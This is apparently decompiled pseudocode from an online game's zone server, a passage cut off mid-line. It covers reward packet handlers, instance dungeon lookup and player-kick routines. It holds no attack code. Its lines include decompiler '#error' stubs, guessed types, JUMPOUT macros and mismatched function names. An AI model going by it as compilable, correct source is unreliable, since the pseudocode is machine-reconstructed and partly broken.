__thiscall ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneListenSession *v2; // edi@1 unsigned int v3; // eax@2 char *v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ZoneListenSession::zls_TravelComplete(v2, (ZONERINGLINKAGESTART *)&netcmd[1]) ) { v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)((char *)&netcmd[8].protocol + 1); *((_DWORD *)v4 + 1) = *(_DWORD *)((char *)&netcmd[10].protocol + 1); *((_DWORD *)v4 + 2) = *(_DWORD *)((char *)&netcmd[12].protocol + 1); *((_DWORD *)v4 + 3) = *(_DWORD *)((char *)&netcmd[14].protocol + 1); v4[16] = 0; HolyPromiseCenTransferManager::hpctm_Process(&hpctmanager, (PROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG *)&netcmd[1]); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"); } //----- (0045FF40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(void *this, int cen, int from) { void *v3; // edi@1 unsigned int v4; // eax@1 char *v5; // eax@1 char *v6; // eax@1 int v7; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)from; *((_DWORD *)v5 + 1) = *(_DWORD *)(from + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(from + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(from + 12); v5[16] = 0; (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); (*(void (__thiscall **)(void *, int, signed int))(*(_DWORD *)v3 + 1852))(v3, cen, 1); v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27621; *(_DWORD *)(v6 + 2) = *(_DWORD *)from; *(_DWORD *)(v6 + 6) = *(_DWORD *)(from + 4); *(_DWORD *)(v6 + 10) = *(_DWORD *)(from + 8); *(_DWORD *)(v6 + 14) = *(_DWORD *)(from + 12); *(_DWORD *)(v6 + 18) = cen; *(_DWORD *)(v6 + 22) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom : Packet Too Long", 26); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"); } //----- (00460090) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 ZoneBaseSession *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27586; *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"); } //----- (00460180) -------------------------------------------------------- #error "460180: undefined or illegal type '#331' (funcsize=40)" //----- (00460240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward(void *this, int pDBAck) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27587; *((_WORD *)v3 + 1) = *(_WORD *)(pDBAck + 6); *((_DWORD *)v3 + 1) = *(_DWORD *)(pDBAck + 8); *((_DWORD *)v3 + 2) = *(_DWORD *)(pDBAck + 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); } //----- (00460330) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 int v6; // eax@4 char *v7; // esi@5 ZoneBaseSession *v8; // eax@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27583; *((_WORD *)v5 + 1) = 7272; *((_DWORD *)v5 + 1) = 0; *((_DWORD *)v5 + 2) = 0; if ( (unsigned __int8)(*(int (**)(void))(*((_DWORD *)v4 + 14442) + 16))() ) { *((_WORD *)v5 + 1) = 7276; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ : Packet Too Long", 12); } } else { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27582; *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v7 + 1) = *((_WORD *)v4 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ : Packet Too Long", 8); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"); } //----- (00460490) -------------------------------------------------------- #error "460490: undefined or illegal type '#331' (funcsize=40)" //----- (00460550) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseWithdrawCenReward(void *this, int pDBAck) { void *v2; // esi@1 __int64 v3; // qax@2 char *v4; // eax@3 int v5; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)(pDBAck + 6) == 7272 ) { LODWORD(v3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, *(_DWORD *)(pDBAck + 8) + v3, (unsigned __int64)(*(_QWORD *)(pDBAck + 8) + v3) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); } v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27583; *((_WORD *)v4 + 1) = *(_WORD *)(pDBAck + 6); *((_DWORD *)v4 + 1) = *(_DWORD *)(pDBAck + 8); *((_DWORD *)v4 + 2) = *(_DWORD *)(pDBAck + 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); } //----- (00460680) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom(void *this, int transfer) { void *v2; // edi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)(transfer + 15); *((_DWORD *)v4 + 1) = *(_DWORD *)(transfer + 19); *((_DWORD *)v4 + 2) = *(_DWORD *)(transfer + 23); v5 = *(_DWORD *)(transfer + 27); v4[16] = 0; *((_DWORD *)v4 + 3) = v5; if ( !(unsigned __int8)(*(int (**)(void))(*((_DWORD *)v2 + 14442) + 16))() ) ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(v2, *(_DWORD *)(transfer + 11), transfer + 15); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"); } //----- (00460770) -------------------------------------------------------- char __thiscall ORToken::operator__(ORToken *this, ORToken *nm) { JUMPOUT( *(_DWORD *)&this->ort_Name[0], *(_DWORD *)&nm->ort_Name[0], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[4], *(_DWORD *)&nm->ort_Name[4], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[8], *(_DWORD *)&nm->ort_Name[8], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[12], *(_DWORD *)&nm->ort_Name[12], Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)&this->ort_Name[16], *(_DWORD *)&nm->ort_Name[16], Concurrency::_Order_node_base::reserve_message); return 1; } // 46079F: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004607B0) -------------------------------------------------------- FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfo(FieldContainer *this, ORToken *Index) { int v2; // edi@1 int v3; // edx@1 FieldOption::GuildTournamentMapStr **v4; // esi@2 FieldOption::InstanceDungeonInfo *result; // eax@3 v2 = this->fc_InstanceDungeon.number; v3 = 0; if ( v2 <= 0 ) { LABEL_10: result = 0; } else { v4 = this->fc_InstanceDungeon.attr; while ( 1 ) { result = (FieldOption::InstanceDungeonInfo *)*v4; if ( *v4 ) { if ( *(_DWORD *)&result->Argument.ort_Name[0] == *(_DWORD *)&Index->ort_Name[0] && *(_DWORD *)&result->Argument.ort_Name[4] == *(_DWORD *)&Index->ort_Name[4] && *(_DWORD *)&result->Argument.ort_Name[8] == *(_DWORD *)&Index->ort_Name[8] && *(_DWORD *)&result->Argument.ort_Name[12] == *(_DWORD *)&Index->ort_Name[12] && *(_DWORD *)&result->Argument.ort_Name[16] == *(_DWORD *)&Index->ort_Name[16] ) break; } ++v3; ++v4; if ( v3 >= v2 ) goto LABEL_10; } } return result; } //----- (00460810) -------------------------------------------------------- FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfoByMapName(FieldContainer *this, Name3 *pMapName) { FieldContainer *v2; // ebx@1 int v3; // edi@1 FieldOption::GuildTournamentMapStr *v4; // esi@2 FieldOption::InstanceDungeonInfo *result; // eax@7 char TargetName[4]; // [sp+10h] [bp-10h]@3 int v7; // [sp+14h] [bp-Ch]@3 int v8; // [sp+18h] [bp-8h]@3 v2 = this; v3 = 0; if ( this->fc_InstanceDungeon.number <= 0 ) { LABEL_7: result = 0; } else { while ( 1 ) { v4 = v2->fc_InstanceDungeon.attr[v3]; if ( v4 ) { v8 = 0; v7 = 0; *(_DWORD *)TargetName = 0; strncpy(TargetName, (const char *)&v4->StoneDir, 0xCu); if ( *(_DWORD *)TargetName == *(_DWORD *)&pMapName->n3_name[0] ) { if ( v7 == *(_DWORD *)&pMapName->n3_name[4] && v8 == *(_DWORD *)&pMapName->n3_name[8] ) break; } } ++v3; if ( v3 >= v2->fc_InstanceDungeon.number ) goto LABEL_7; } result = (FieldOption::InstanceDungeonInfo *)v4; } return result; } //----- (004608C0) -------------------------------------------------------- #error "4608C0: undefined or illegal type '#331' (funcsize=58)" //----- (004609A0) -------------------------------------------------------- void __thiscall KickPlayer::_KickPlayer(KickPlayer *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)KickPlayer::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A6D48: using guessed type int (__stdcall *KickPlayer___vftable_[2])(int, int, int distancesquar); //----- (004609B0) -------------------------------------------------------- void __thiscall IsAnybody::_IsAnybody(IsAnybody *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&IsAnybody::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5A6D4C: using guessed type int (__stdcall *IsAnybody___vftable_)(int, int, int distancesquar); //----- (004609C0) -------------------------------------------------------- #error "4609C0: undefined or illegal type '#331' (funcsize=18)" //----- (004609F0) -------------------------------------------------------- int __thiscall PROTO_NC_INSTANCE_DUNGEON_FIND_RNG::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 signed int v4; // ebp@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); v3 = this + 31; v4 = 33; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); *(_WORD *)(this + 64) = *(_WORD *)(a2 + 64); return result; } //----- (00460A60) -------------------------------------------------------- void __thiscall ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(TableNameCompareArgument *this) { this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00460A70) -------------------------------------------------------- bool __thiscall MapClusterManager::ClusterManager::AddInstanceDungeonCluster(MapClusterManager::ClusterManager *this, const char *ClientMapName, int Index, INSTANCE_DUNGEON::CATEGORY Category) { MapClusterManager::ClusterManager *v4; // esi@1 signed int v5; // eax@1 char *v6; // ecx@1 int v8; // edi@5 void *v9; // eax@8 int v10; // eax@9 char v11; // al@12 int v12; // ecx@13 v4 = this; v5 = 0; v6 = (char *)this->Clusters; while ( *(_DWORD *)v6 ) { ++v5; v6 += 4; if ( v5 >= 10 ) return 0; } v8 = v4->baseclass_0.l_Finger.empty; if ( (_WORD)v8 == -1 ) LOWORD(v8) = Category; else v4->baseclass_0.vfptr->l_AllocZ((List *)v4, v8); v9 = operator new(0x9018u); if ( v9 ) MapClusterManager::MapCluster::MapCluster((MapClusterManager::MapCluster *)v9, (char *)ClientMapName, Category); else v10 = 0; if ( (unsigned __int16)v8 < (signed int)v4->baseclass_0.l_MaxSize ) { v12 = (int)&v4->baseclass_0.l_Array[(unsigned __int16)v8]; if ( *(_DWORD *)v12 ) { v11 = 0; } else { *(_DWORD *)v12 = v10; v11 = 1; } } else { v11 = 0; } if ( !v11 ) { AssertClass::ac_AssertFail( &shineassert, "MapClusterManager::ClusterManager::AddInstanceDungeonCluster : Cannot Add", Index); ShineExit("MapClusterManager::ClusterManager::AddInstanceDungeonCluster"); } return 1; } //----- (00460B70) -------------------------------------------------------- #error "460B70: undefined or illegal type '#592' (funcsize=159)" //----- (00460DC0) -------------------------------------------------------- #error "460DC0: undefined or illegal type '#592' (funcsize=65)" //----- (00460ED0) -------------------------------------------------------- #error "460ED0: undefined or illegal type '#331' (funcsize=89)" //----- (00461030) -------------------------------------------------------- void __thiscall FieldMap::fm_KickAll(void *this) { int v1; // esi@1 void *v2; // ecx@1 int aloc; // [sp+8h] [bp-14h]@1 int v4; // [sp+Ch] [bp-10h]@1 int v5; // [sp+18h] [bp-4h]@1 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_KickAll"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_KickAll"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&aloc); aloc = (int)KickPlayer::_vftable_; v4 = v1; v2 = *(void **)(v1 + 48); LOBYTE(v5) = 1; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)&aloc, 1); LOBYTE(v5) = 0; aloc = (int)KickPlayer::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&aloc); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_KickAll"); } // 5A6D48: using guessed type int (__stdcall *KickPlayer___vftable_[2])(int, int, int distancesquar); //----- (00461100) -------------------------------------------------------- char __thiscall FieldMap::fm_Exist(void *this, int Flag) { void *v2; // esi@1 void *v3; // ecx@1 char v4; // bl@1 int (__stdcall **aloc)(int, int, int); // [sp+Ch] [bp-18h]@1 int v7; // [sp+10h] [bp-14h]@1 char v8; // [sp+14h] [bp-10h]@1 int v9; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_Exist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_Exist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&aloc); aloc = &IsAnybody::_vftable_; v7 = Flag; v8 = 0; v3 = (void *)*((_DWORD *)v2 + 12); LOBYTE(v9) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&aloc, 1); v4 = v8; LOBYTE(v9) = 0; aloc = &IsAnybody::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&aloc); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_Exist"); return v4; } // 5A6D4C: using guessed type int (__stdcall *IsAnybody___vftable_)(int, int, int distancesquar); //----- (004611E0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneListenSession *v2; // edi@1 char *v3; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ZoneListenSession::zls_TravelComplete(v2, (ZONERINGLINKAGESTART *)&netcmd[1]) ) { ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(&zonringpack_emptyinstancedungeon, 0, netcmd); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = netcmd->protocol; *(_DWORD *)(v3 + 2) = *(_DWORD *)&netcmd[1].protocol; *(_DWORD *)(v3 + 6) = *(_DWORD *)&netcmd[3].protocol; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"); } //----- (004612C0) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(MapClusterManager::ClusterManager *this, INSTANCE_DUNGEON::CATEGORY Category, unsigned int RegisterNumber) { int (__stdcall **Eraser)(int, __int16); // [sp+0h] [bp-18h]@1 INSTANCE_DUNGEON::CATEGORY v4; // [sp+4h] [bp-14h]@1 unsigned int v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 Eraser = &DeleteDungeon::_vftable_; v4 = Category; v5 = RegisterNumber; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&Eraser); } // 5A6EAC: using guessed type int (__stdcall *DeleteDungeon_MapClusterManager__MapCluster____vftable_)(int ele, __int16 handle); //----- (00461320) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, int Index) { char *v2; // eax@1 char *v3; // esi@1 ZoneBaseSession *v4; // eax@3 void *v5; // ecx@4 int v6; // eax@4 FieldOption::InstanceDungeonInfo *v7; // eax@4 v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23549; v2[2] = LOBYTE(this->mc_Category); v3 = (char *)this + 72 * Index; *(_DWORD *)(v2 + 3) = *((_DWORD *)v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "MapClusterManager::MapCluster::mc_DeleteInstanceDungeon : Packet Too Long", 7); } v5 = (void *)*((_DWORD *)v3 + 3); v3[20] = 0; v3[52] = 0; v3[64] = 0; FieldMap::fm_KickAll(v5); v6 = VectorClass::VectorWithLength::vwl_GetLength(*((_DWORD *)v3 + 3)); v7 = FieldContainer::fc_GetInstanceDungeonInfoByMapName((FieldContainer *)&fieldlist, (Name3 *)v6); if ( v7 ) FieldMap::fm_DropFilm(*((_DWORD *)v3 + 3), v7->ScriptName); FieldMap::fm_ClearObject(*((void **)v3 + 3), 0x3B2u); *((_DWORD *)v3 + 4) = -1; } //----- (004613D0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v2; // esi@1 unsigned int v3; // ecx@1 int v4; // edi@2 int v5; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::mc_DeleteInstanceDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::mc_DeleteInstanceDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; if ( LOWORD(v2->mc_MapNumber) ) { v4 = v2->mc_MapNumber; while ( 1 ) { if ( v2->mc_Pointer >= v4 ) v2->mc_Pointer = 0; v5 = v2->mc_Pointer; if ( v2->mc_Map[v5].RegisterNumber == RegisterNumber ) break; v2->mc_Pointer = v5 + 1; ++v3; if ( v3 >= LOWORD(v2->mc_MapNumber) ) goto LABEL_9; } MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(v2, v2->mc_Pointer); } LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterNamager::mc_DeleteInstanceDungeon"); } //----- (004614C0) -------------------------------------------------------- char __thiscall MapClusterManager::MapCluster::mc_Routine(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 handle) { MapClusterManager::MapCluster *v3; // edi@1 signed int v4; // eax@1 INSTANCE_DUNGEON::CATEGORY v5; // ecx@1 int v6; // ebp@3 int v7; // esi@4 bool v8; // zf@6 char v9; // al@6 char *v10; // eax@8 ZoneBaseSession *v11; // eax@10 unsigned int v12; // eax@14 unsigned int v13; // eax@16 unsigned int v14; // eax@18 char *v15; // eax@18 ZoneBaseSession *v16; // eax@20 unsigned int v17; // eax@22 unsigned int v18; // eax@25 unsigned int v19; // eax@28 unsigned int v20; // eax@31 const char *v21; // eax@32 void *v22; // ecx@33 int v23; // eax@33 unsigned int v24; // eax@36 const char *v25; // eax@37 void *v26; // ecx@38 int v27; // eax@38 char *v29; // [sp-4h] [bp-3Ch]@2 AxialListWall alw; // [sp+18h] [bp-20h]@33 AxialListWall thisa; // [sp+20h] [bp-18h]@38 int v32; // [sp+34h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapClusterManager::MapCluster::mc_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::MapCluster::mc_Routine"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v3->mc_Category; v32 = 0; if ( v5 == -1 ) { v29 = "MapClusterManager::MapCluster::mc_Routine"; goto LABEL_43; } v6 = 0; if ( v3->mc_MapNumber <= 0 ) goto LABEL_42; v7 = (int)&v3->mc_Map[0].TimeToDestroy.m_TickInterval; do { if ( *(_DWORD *)(v7 - 12) == -1 ) goto LABEL_40; v8 = FieldMap::fm_Exist(*(void **)(v7 - 16), 4) == 0; v9 = *(_BYTE *)(v7 - 8); if ( !v8 ) { if ( v9 == 1 ) { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23549; v10[2] = v3->mc_Category; *(_DWORD *)(v10 + 3) = *(_DWORD *)(v7 - 12); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::MapCluster::mc_Routine : Packet Too Long", 7); *(_BYTE *)(v7 - 8) = 0; *(_BYTE *)(v7 - 7) = 0; goto LABEL_15; } v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v11); } *(_BYTE *)(v7 - 8) = 0; *(_BYTE *)(v7 